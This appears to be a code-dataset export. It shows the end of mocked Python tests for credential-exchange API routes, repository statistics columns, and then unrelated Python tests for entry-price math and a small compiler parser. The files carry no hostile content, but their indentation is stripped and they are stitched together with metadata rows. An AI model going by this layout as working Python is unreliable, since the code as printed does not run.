mock_cred_mgr.return_value.create_request = async_mock.CoroutineMock()
mock_cx_rec = async_mock.MagicMock()
mock_cred_mgr.return_value.create_request.return_value = (
mock_cx_rec,
async_mock.MagicMock(),
)
await test_module.credential_exchange_send_free_request(self.request)
mock_response.assert_called_once_with(mock_cx_rec.serialize.return_value)
async def test_credential_exchange_send_free_request_no_filter(self):
self.request.json = async_mock.CoroutineMock(
return_value={"comment": "comment"}
)
with self.assertRaises(test_module.web.HTTPBadRequest) as context:
await test_module.credential_exchange_send_free_request(self.request)
assert "Missing filter" in str(context.exception)
async def test_credential_exchange_send_free_request_no_conn_record(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"filter": {"ld_proof": LD_PROOF_VC_DETAIL},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
# Emulate storage not found (bad connection id)
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
mock_cred_mgr.return_value.create_request = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_request.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_send_free_request(self.request)
async def test_credential_exchange_send_free_request_not_ready(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"filter": {"ld_proof": LD_PROOF_VC_DETAIL},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
# Emulate connection not ready
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_conn_rec.retrieve_by_id.return_value.is_ready = False
mock_cred_mgr.return_value.create_request = async_mock.CoroutineMock()
mock_cred_mgr.return_value.create_request.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPForbidden):
await test_module.credential_exchange_send_free_request(self.request)
async def test_credential_exchange_send_free_request_x(self):
self.request.json = async_mock.CoroutineMock(
return_value={
"filter": {"ld_proof": LD_PROOF_VC_DETAIL},
}
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cred_mgr.return_value.create_request = async_mock.CoroutineMock(
side_effect=[
test_module.LedgerError(),
test_module.StorageError(),
]
)
mock_cx_rec = async_mock.MagicMock()
with self.assertRaises(test_module.web.HTTPBadRequest): # ledger error
await test_module.credential_exchange_send_free_request(self.request)
with self.assertRaises(test_module.web.HTTPBadRequest): # storage error
await test_module.credential_exchange_send_free_request(self.request)
async def test_credential_exchange_issue(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec_cls, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response, async_mock.patch.object(
V20CredFormat.Format, "handler"
) as mock_handler:
mock_cx_rec_cls.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec_cls.retrieve_by_id.return_value.state = (
test_module.V20CredExRecord.STATE_REQUEST_RECEIVED
)
mock_cx_rec = async_mock.MagicMock()
mock_handler.return_value.get_detail_record = async_mock.CoroutineMock(
side_effect=[
async_mock.MagicMock( # indy
serialize=async_mock.MagicMock(return_value={"...": "..."})
),
None, # ld_proof
]
)
mock_cred_mgr.return_value.issue_credential.return_value = (
mock_cx_rec,
async_mock.MagicMock(),
)
await test_module.credential_exchange_issue(self.request)
mock_response.assert_called_once_with(
{
"cred_ex_record": mock_cx_rec.serialize.return_value,
"indy": {"...": "..."},
"ld_proof": None,
}
)
async def test_credential_exchange_issue_bad_cred_ex_id(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.side_effect = test_module.StorageNotFoundError()
with self.assertRaises(test_module.web.HTTPNotFound):
await test_module.credential_exchange_issue(self.request)
async def test_credential_exchange_issue_no_conn_record(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
mock_cx_rec = async_mock.MagicMock(
conn_id="dummy",
serialize=async_mock.MagicMock(),
save_error_state=async_mock.CoroutineMock(),
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec_cls:
mock_cx_rec.state = mock_cx_rec_cls.STATE_REQUEST_RECEIVED
mock_cx_rec_cls.retrieve_by_id = async_mock.CoroutineMock(
return_value=mock_cx_rec
)
# Emulate storage not found (bad connection id)
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
mock_cred_mgr.return_value.issue_credential = async_mock.CoroutineMock()
mock_cred_mgr.return_value.issue_credential.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_issue(self.request)
async def test_credential_exchange_issue_not_ready(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.return_value.state = (
test_module.V20CredExRecord.STATE_REQUEST_RECEIVED
)
# Emulate connection not ready
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_conn_rec.retrieve_by_id.return_value.is_ready = False
mock_cred_mgr.return_value.issue_credential = async_mock.CoroutineMock()
mock_cred_mgr.return_value.issue_credential.return_value = (
async_mock.MagicMock(),
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPForbidden):
await test_module.credential_exchange_issue(self.request)
async def test_credential_exchange_issue_rev_reg_full(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
mock_cx_rec = async_mock.MagicMock(
conn_id="dummy",
serialize=async_mock.MagicMock(),
save_error_state=async_mock.CoroutineMock(),
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec_cls:
mock_cx_rec.state = mock_cx_rec_cls.STATE_REQUEST_RECEIVED
mock_cx_rec_cls.retrieve_by_id = async_mock.CoroutineMock(
return_value=mock_cx_rec
)
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_conn_rec.retrieve_by_id.return_value.is_ready = True
mock_issue_cred = async_mock.CoroutineMock(
side_effect=test_module.IndyIssuerError()
)
mock_cred_mgr.return_value.issue_credential = mock_issue_cred
with self.assertRaises(test_module.web.HTTPBadRequest) as context:
await test_module.credential_exchange_issue(self.request)
async def test_credential_exchange_issue_deser_x(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
mock_cx_rec = async_mock.MagicMock(
connection_id="dummy",
serialize=async_mock.MagicMock(side_effect=test_module.BaseModelError()),
save_error_state=async_mock.CoroutineMock(),
)
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec_cls:
mock_cx_rec_cls.retrieve_by_id = async_mock.CoroutineMock(
return_value=mock_cx_rec
)
mock_cred_mgr.return_value = async_mock.MagicMock(
issue_credential=async_mock.CoroutineMock(
return_value=(
mock_cx_rec,
async_mock.MagicMock(),
)
)
)
mock_cred_mgr.return_value.get_detail_record = async_mock.CoroutineMock(
side_effect=[
async_mock.MagicMock( # indy
serialize=async_mock.MagicMock(return_value={"...": "..."})
),
None, # ld_proof
]
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_issue(self.request)
async def test_credential_exchange_store(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec_cls, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response, async_mock.patch.object(
V20CredFormat.Format, "handler"
) as mock_handler:
mock_cx_rec_cls.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec_cls.retrieve_by_id.return_value.state = (
test_module.V20CredExRecord.STATE_CREDENTIAL_RECEIVED
)
mock_handler.return_value.get_detail_record = async_mock.CoroutineMock(
side_effect=[
async_mock.MagicMock( # indy
serialize=async_mock.MagicMock(return_value={"...": "..."})
),
None, # ld_proof
]
)
mock_cx_rec = async_mock.MagicMock()
mock_cred_mgr.return_value.store_credential.return_value = mock_cx_rec
mock_cred_mgr.return_value.send_cred_ack.return_value = (
mock_cx_rec,
async_mock.MagicMock(),
)
await test_module.credential_exchange_store(self.request)
mock_response.assert_called_once_with(
{
"cred_ex_record": mock_cx_rec.serialize.return_value,
"indy": {"...": "..."},
"ld_proof": None,
}
)
async def test_credential_exchange_store_bad_cred_id_json(self):
self.request.json = async_mock.CoroutineMock(
side_effect=test_module.JSONDecodeError("Nope", "Nope", 0)
)
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec_cls, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response, async_mock.patch.object(
LDProofCredFormatHandler, "get_detail_record", autospec=True
) as mock_ld_proof_get_detail_record, async_mock.patch.object(
IndyCredFormatHandler, "get_detail_record", autospec=True
) as mock_indy_get_detail_record:
mock_cx_rec_cls.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec_cls.retrieve_by_id.return_value.state = (
test_module.V20CredExRecord.STATE_CREDENTIAL_RECEIVED
)
mock_cx_rec = async_mock.MagicMock()
mock_indy_get_detail_record.return_value = async_mock.MagicMock( # indy
serialize=async_mock.MagicMock(return_value={"...": "..."})
)
mock_ld_proof_get_detail_record.return_value = None # ld_proof
mock_cred_mgr.return_value.store_credential.return_value = mock_cx_rec
mock_cred_mgr.return_value.send_cred_ack.return_value = (
mock_cx_rec,
async_mock.MagicMock(),
)
await test_module.credential_exchange_store(self.request)
mock_response.assert_called_once_with(
{
"cred_ex_record": mock_cx_rec.serialize.return_value,
"indy": {"...": "..."},
"ld_proof": None,
}
)
async def test_credential_exchange_store_bad_cred_ex_id(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.side_effect = test_module.StorageNotFoundError()
with self.assertRaises(test_module.web.HTTPNotFound):
await test_module.credential_exchange_store(self.request)
async def test_credential_exchange_store_no_conn_record(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock(
return_value=async_mock.MagicMock(
state=mock_cx_rec.STATE_CREDENTIAL_RECEIVED,
save_error_state=async_mock.CoroutineMock(),
)
)
# Emulate storage not found (bad connection id)
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
mock_cred_mgr.return_value.store_credential.return_value = mock_cx_rec
mock_cred_mgr.return_value.send_cred_ack.return_value = (
mock_cx_rec,
async_mock.MagicMock(),
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_store(self.request)
async def test_credential_exchange_store_not_ready(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec:
mock_cx_rec.connection_id = "conn-123"
mock_cx_rec.thread_id = "conn-123"
mock_cx_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_cx_rec.retrieve_by_id.return_value.state = (
test_module.V20CredExRecord.STATE_CREDENTIAL_RECEIVED
)
# Emulate connection not ready
mock_conn_rec.retrieve_by_id = async_mock.CoroutineMock()
mock_conn_rec.retrieve_by_id.return_value.is_ready = False
with self.assertRaises(test_module.web.HTTPForbidden):
await test_module.credential_exchange_store(self.request)
async def test_credential_exchange_store_x(self):
self.request.json = async_mock.CoroutineMock()
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "ConnRecord", autospec=True
) as mock_conn_rec, async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cx_rec_cls, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response, async_mock.patch.object(
V20CredFormat.Format, "handler"
) as mock_handler:
mock_cx_rec = async_mock.MagicMock(
state=mock_cx_rec_cls.STATE_CREDENTIAL_RECEIVED,
serialize=async_mock.MagicMock(
side_effect=test_module.BaseModelError()
),
save_error_state=async_mock.CoroutineMock(),
)
mock_cx_rec_cls.retrieve_by_id = async_mock.CoroutineMock(
return_value=async_mock.MagicMock()
)
mock_handler.return_value.get_detail_record = async_mock.CoroutineMock(
side_effect=[
async_mock.MagicMock( # indy
serialize=async_mock.MagicMock(return_value={"...": "..."})
),
None, # ld_proof
]
)
mock_cred_mgr.return_value = async_mock.MagicMock(
store_credential=async_mock.CoroutineMock(return_value=mock_cx_rec),
send_cred_ack=async_mock.CoroutineMock(
return_value=(
mock_cx_rec,
async_mock.MagicMock(),
)
),
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_store(self.request)
async def test_credential_exchange_remove(self):
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cred_mgr.return_value = async_mock.MagicMock(
delete_cred_ex_record=async_mock.CoroutineMock()
)
await test_module.credential_exchange_remove(self.request)
mock_response.assert_called_once_with({})
async def test_credential_exchange_remove_bad_cred_ex_id(self):
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
mock_cred_mgr.return_value = async_mock.MagicMock(
delete_cred_ex_record=async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
)
with self.assertRaises(test_module.web.HTTPNotFound):
await test_module.credential_exchange_remove(self.request)
async def test_credential_exchange_remove_x(self):
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr:
mock_cred_mgr.return_value = async_mock.MagicMock(
delete_cred_ex_record=async_mock.CoroutineMock(
side_effect=test_module.StorageError()
)
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_remove(self.request)
async def test_credential_exchange_problem_report(self):
self.request.json = async_mock.CoroutineMock(
return_value={"description": "Did I say no problem? I meant 'no: problem.'"}
)
self.request.match_info = {"cred_ex_id": "dummy"}
magic_report = async_mock.MagicMock()
with async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr_cls, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cred_ex, async_mock.patch.object(
test_module, "problem_report_for_record", async_mock.MagicMock()
) as mock_problem_report, async_mock.patch.object(
test_module.web, "json_response"
) as mock_response:
mock_cred_ex.retrieve_by_id = async_mock.CoroutineMock(
return_value=async_mock.MagicMock(
save_error_state=async_mock.CoroutineMock()
)
)
mock_problem_report.return_value = magic_report
await test_module.credential_exchange_problem_report(self.request)
self.request["outbound_message_router"].assert_awaited_once_with(
magic_report,
connection_id=mock_cred_ex.retrieve_by_id.return_value.connection_id,
)
mock_response.assert_called_once_with({})
async def test_credential_exchange_problem_report_bad_cred_ex_id(self):
self.request.json = async_mock.CoroutineMock(
return_value={"description": "Did I say no problem? I meant 'no: problem.'"}
)
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr_cls, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cred_ex:
mock_cred_ex.retrieve_by_id = async_mock.CoroutineMock(
side_effect=test_module.StorageNotFoundError()
)
with self.assertRaises(test_module.web.HTTPNotFound):
await test_module.credential_exchange_problem_report(self.request)
async def test_credential_exchange_problem_report_x(self):
self.request.json = async_mock.CoroutineMock(
return_value={"description": "Did I say no problem? I meant 'no: problem.'"}
)
self.request.match_info = {"cred_ex_id": "dummy"}
with async_mock.patch.object(
test_module, "V20CredManager", autospec=True
) as mock_cred_mgr_cls, async_mock.patch.object(
test_module, "problem_report_for_record", async_mock.MagicMock()
) as mock_problem_report, async_mock.patch.object(
test_module, "V20CredExRecord", autospec=True
) as mock_cred_ex:
mock_cred_ex.retrieve_by_id = async_mock.CoroutineMock(
return_value=async_mock.MagicMock(
save_error_state=async_mock.CoroutineMock(
side_effect=test_module.StorageError()
)
)
)
with self.assertRaises(test_module.web.HTTPBadRequest):
await test_module.credential_exchange_problem_report(self.request)
async def test_register(self):
mock_app = async_mock.MagicMock()
mock_app.add_routes = async_mock.MagicMock()
await test_module.register(mock_app)
mock_app.add_routes.assert_called_once()
async def test_post_process_routes(self):
mock_app = async_mock.MagicMock(_state={"swagger_dict": {}})
test_module.post_process_routes(mock_app)
assert "tags" in mock_app._state["swagger_dict"]
| 41.806452
| 88
| 0.618713
| 7,587
| 69,984
| 5.313431
| 0.025834
| 0.091757
| 0.039962
| 0.071441
| 0.954481
| 0.949049
| 0.938853
| 0.928336
| 0.911195
| 0.89264
| 0
| 0.006333
| 0.293839
| 69,984
| 1,673
| 89
| 41.831441
| 0.809389
| 0.009931
| 0
| 0.734621
| 0
| 0
| 0.070361
| 0.002224
| 0
| 0
| 0
| 0
| 0.052217
| 1
| 0
| false
| 0
| 0.007868
| 0
| 0.008584
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
dc0152d5c00e0e882308b50362c7d59815c3974f
| 4,445
|
py
|
Python
|
tests/libraries/position/test_entry_price.py
|
overlay-market/v1-core
|
e18fabd242f21c243a555712d3f08ca059941f41
|
[
"MIT"
] | 3
|
2022-02-17T16:11:39.000Z
|
2022-03-10T23:46:19.000Z
|
tests/libraries/position/test_entry_price.py
|
overlay-market/v1-core
|
e18fabd242f21c243a555712d3f08ca059941f41
|
[
"MIT"
] | 10
|
2022-01-25T21:49:20.000Z
|
2022-03-31T00:32:29.000Z
|
tests/libraries/position/test_entry_price.py
|
overlay-market/v1-core
|
e18fabd242f21c243a555712d3f08ca059941f41
|
[
"MIT"
] | 2
|
2022-01-21T01:04:54.000Z
|
2022-02-23T08:38:20.000Z
|
from pytest import approx
from brownie import reverts
from decimal import Decimal
def test_calc_entry_to_mid_ratio(position, mid_resolution):
entry_price = 100000000000000000000 # 100
# check when mid price less than entry price (longs)
mid_price = 99000000000000000000 # 99
expect = int(Decimal(entry_price)
* Decimal(mid_resolution) / Decimal(mid_price))
actual = position.calcEntryToMidRatio(entry_price, mid_price)
assert expect == actual
# check when mid price greater than entry price (shorts)
mid_price = 101000000000000000000 # 101
expect = int(Decimal(entry_price)
* Decimal(mid_resolution) / Decimal(mid_price))
actual = position.calcEntryToMidRatio(entry_price, mid_price)
assert expect == actual
def test_calc_entry_to_mid_ratio_reverts_when_entry_gt_2x_mid(position,
mid_resolution):
mid_price = 50000000000000000000 # 50
# check fails when entryPrice > 2 * mid
entry_price = 100000000000000000001 # > 100
with reverts("OVLV1: value == 0 at entry"):
position.calcEntryToMidRatio(entry_price, mid_price)
# check returns when entryPrice == 2 * mid
entry_price = 100000000000000000000 # 100
expect = int(Decimal(entry_price)
* Decimal(mid_resolution) / Decimal(mid_price))
actual = position.calcEntryToMidRatio(entry_price, mid_price)
assert expect == actual
def test_get_entry_to_mid_ratio(position, mid_resolution):
entry_price = 150000000000000000000 # 150
notional = 10000000000000000000 # 10
debt = 2000000000000000000 # 2
liquidated = False
# check long (entry > mid)
is_long = True
mid_price = 149000000000000000000 # 149
oi = int((Decimal(notional) / Decimal(mid_price))
* Decimal(1000000000000000000)) # ~ 0.067
# NOTE: calcEntryToMidRatio tested above
mid_ratio = position.calcEntryToMidRatio(entry_price, mid_price)
pos = (notional, debt, mid_ratio, is_long, liquidated, oi)
expect = Decimal(mid_ratio) * Decimal(1e18) / Decimal(mid_resolution)
actual = position.getEntryToMidRatio(pos)
assert expect == actual
# check short (entry < mid)
is_long = False
mid_price = 151000000000000000000 # 151
oi = int((Decimal(notional) / Decimal(mid_price))
* Decimal(1000000000000000000)) # ~ 0.067
# NOTE: calcEntryToMidRatio tested above
mid_ratio = position.calcEntryToMidRatio(entry_price, mid_price)
pos = (notional, debt, mid_ratio, is_long, liquidated, oi)
expect = Decimal(mid_ratio) * Decimal(1e18) / Decimal(mid_resolution)
actual = position.getEntryToMidRatio(pos)
assert expect == actual
def test_entry_price(position):
entry_price = 150000000000000000000 # 150
notional = 10000000000000000000 # 10
debt = 2000000000000000000 # 2
liquidated = False
# check long (entry > mid)
is_long = True
mid_price = 149000000000000000000 # 149
oi = int((Decimal(notional) / Decimal(mid_price))
* Decimal(1000000000000000000)) # ~ 0.067
# NOTE: calcEntryToMidRatio tested above
mid_ratio = position.calcEntryToMidRatio(entry_price, mid_price)
pos = (notional, debt, mid_ratio, is_long, liquidated, oi)
expect = entry_price
actual = position.entryPrice(pos)
assert expect == approx(actual)
# check short (entry < mid)
is_long = False
mid_price = 151000000000000000000 # 151
oi = int((Decimal(notional) / Decimal(mid_price))
* Decimal(1000000000000000000)) # ~ 0.067
# NOTE: calcEntryToMidRatio tested above
mid_ratio = position.calcEntryToMidRatio(entry_price, mid_price)
pos = (notional, debt, mid_ratio, is_long, liquidated, oi)
expect = entry_price
actual = position.entryPrice(pos)
assert expect == approx(actual)
def test_entry_price_when_oi_is_zero(position):
entry_price = 150000000000000000000 # 150
notional = 10000000000000000000 # 10
debt = 2000000000000000000 # 2
liquidated = False
is_long = True
mid_price = 149000000000000000000 # 149
oi = 0
# NOTE: calcEntryToMidRatio tested above
mid_ratio = position.calcEntryToMidRatio(entry_price, mid_price)
pos = (notional, debt, mid_ratio, is_long, liquidated, oi)
expect = 0
actual = position.entryPrice(pos)
assert expect == actual
| 35.277778
| 78
| 0.694713
| 493
| 4,445
| 6.054767
| 0.156187
| 0.069682
| 0.096482
| 0.111558
| 0.853936
| 0.842546
| 0.795645
| 0.785595
| 0.770854
| 0.743384
| 0
| 0.163425
| 0.224972
| 4,445
| 125
| 79
| 35.56
| 0.703048
| 0.131384
| 0
| 0.8
| 0
| 0
| 0.006801
| 0
| 0
| 0
| 0
| 0
| 0.094118
| 1
| 0.058824
| false
| 0
| 0.035294
| 0
| 0.094118
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
dc114ea9291aa784ae4643e7d1b940f1457506a6
| 3,447
|
py
|
Python
|
tests/test_fly_parser.py
|
dannyvi/py-fly-compile-c
|
842281c27b815e642474a826c0e3a247450930b6
|
[
"MIT"
] | 1
|
2018-11-13T03:36:00.000Z
|
2018-11-13T03:36:00.000Z
|
tests/test_fly_parser.py
|
dannyvi/py-fly-compile-c
|
842281c27b815e642474a826c0e3a247450930b6
|
[
"MIT"
] | null | null | null |
tests/test_fly_parser.py
|
dannyvi/py-fly-compile-c
|
842281c27b815e642474a826c0e3a247450930b6
|
[
"MIT"
] | null | null | null |
from compfly.parser import Parser
import os
import pytest
gram_filename = os.path.dirname(
os.path.dirname(
os.path.abspath(__file__))) + '/compfly/gram/a.grammar'
def test_start():
deps = '-' * 50
print("\n{}Front End{}".format(deps, deps))
def test_if_else():
print("\n")
parser = Parser()
print('parsing -----if (2<9) S2 else stmts------- \n')
translation = parser.parse_stream('if (2<9) S2 else stmts')
print(translation[0])
print('parsing -----if (2<9) S2 ------- ')
translation = parser.parse_stream('if (2<9) S2 ')
print(translation[0])
print('parsing -----if (2<9) S2 else if (2<3) stmts else S1 ------- \n')
translation = parser.parse_stream('if (2<9) S2 else if (2<3) stmts else S1')
print(translation[0])
print('parsing -----if (2<9) S2 else if (2<3) stmts ------- \n')
translation = parser.parse_stream('if (2<9) S2 else if (2<3) stmts')
print(translation[0])
def test_declaration():
print("\nparsing ---------- int a; \n")
parser = Parser()
translation, symbol_table = parser.parse_stream('int a; ')
print(translation, symbol_table)
print("\nparsing ---------- int a; int b; float c;\n")
translation, symbol_table = parser.parse_stream('int a; int b; float c;')
print(translation, symbol_table)
print("\nparsing ---------- int[3] a;\n")
translation, symbol_table = parser.parse_stream('int[3] a;')
print(translation, symbol_table)
print("\nparsing ---------- int[3][4] a;\n")
translation, symbol_table = parser.parse_stream('int[3][4] a;')
print(translation, symbol_table)
print("\nparsing ---------- int[2][2][2][2] a;\n")
translation, symbol_table = parser.parse_stream('int[2][2][2][2] a;')
print(translation, symbol_table)
print(f"\nparsing {'-'*20} record {{ int[4] a; int k; float g;}} s; int...")
stream = 'record {int[4] a;int k;float g;} s;int z;float[5] p; int[2][3] c;'
translation, symbol_table = parser.parse_stream(stream)
print(translation, symbol_table)
print("\nparsing ---------- int b; int c; c=8; b = c + 5 + 7; \n")
stream = 'int b; int c; c=8; b = c + 5 + 7;'
translation, symbol_table = parser.parse_stream(stream)
print(translation, symbol_table)
print("\nparsing ---------- int[5] b; b[1] = 100; int[3][4] '\n")
stream = 'int[5] b; b[1] = 100; int[3][4] k; k[2][1] = 30;'
translation, symbol_table = parser.parse_stream(stream)
print(translation, symbol_table)
print("\nparsing ----------int[5][4][3][2] a; a[3][2][2][1] = 10;\n")
stream = 'int[5][4][3][2] a; a[3][2][2][1] = 10;'
translation, symbol_table = parser.parse_stream(stream)
print(translation, symbol_table)
def test_expression():
parser = Parser()
print("\nparsing ---------- int[3][4] k; k[2][1] = k[1][1]; '\n")
stream = 'int[3][4] k; k[2][1] = k[1][1];'
translation, symbol_table = parser.parse_stream(stream)
print(translation, symbol_table)
print("\nparsing ---------- int b; int[3][5] k; int[6] m; b = k[2][1] + m[3];'\n")
stream = 'int b; int[3][5] k; int[6] m; b = k[2][1] + m[3]; '
translation, symbol_table = parser.parse_stream(stream)
print(translation, symbol_table)
print("\nparsing ---------- Error '\n")
stream = ' int[3][5] k; int[6] m; b = k[2][1] + m[3]; '
with pytest.raises(KeyError):
translation, symbol_table = parser.parse_stream(stream)
| 35.90625
| 86
| 0.589498
| 526
| 3,447
| 3.769962
| 0.129278
| 0.197176
| 0.255169
| 0.16944
| 0.821987
| 0.79173
| 0.757943
| 0.722138
| 0.572365
| 0.519415
| 0
| 0.048266
| 0.18857
| 3,447
| 95
| 87
| 36.284211
| 0.660708
| 0
| 0
| 0.352113
| 0
| 0.183099
| 0.376849
| 0.013925
| 0
| 0
| 0
| 0
| 0
| 1
| 0.056338
| false
| 0
| 0.042254
| 0
| 0.098592
| 0.464789
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 7
|
9065db250c8ed5f5e06d1a4881dfa2624929cdfc
| 27,792
|
py
|
Python
|
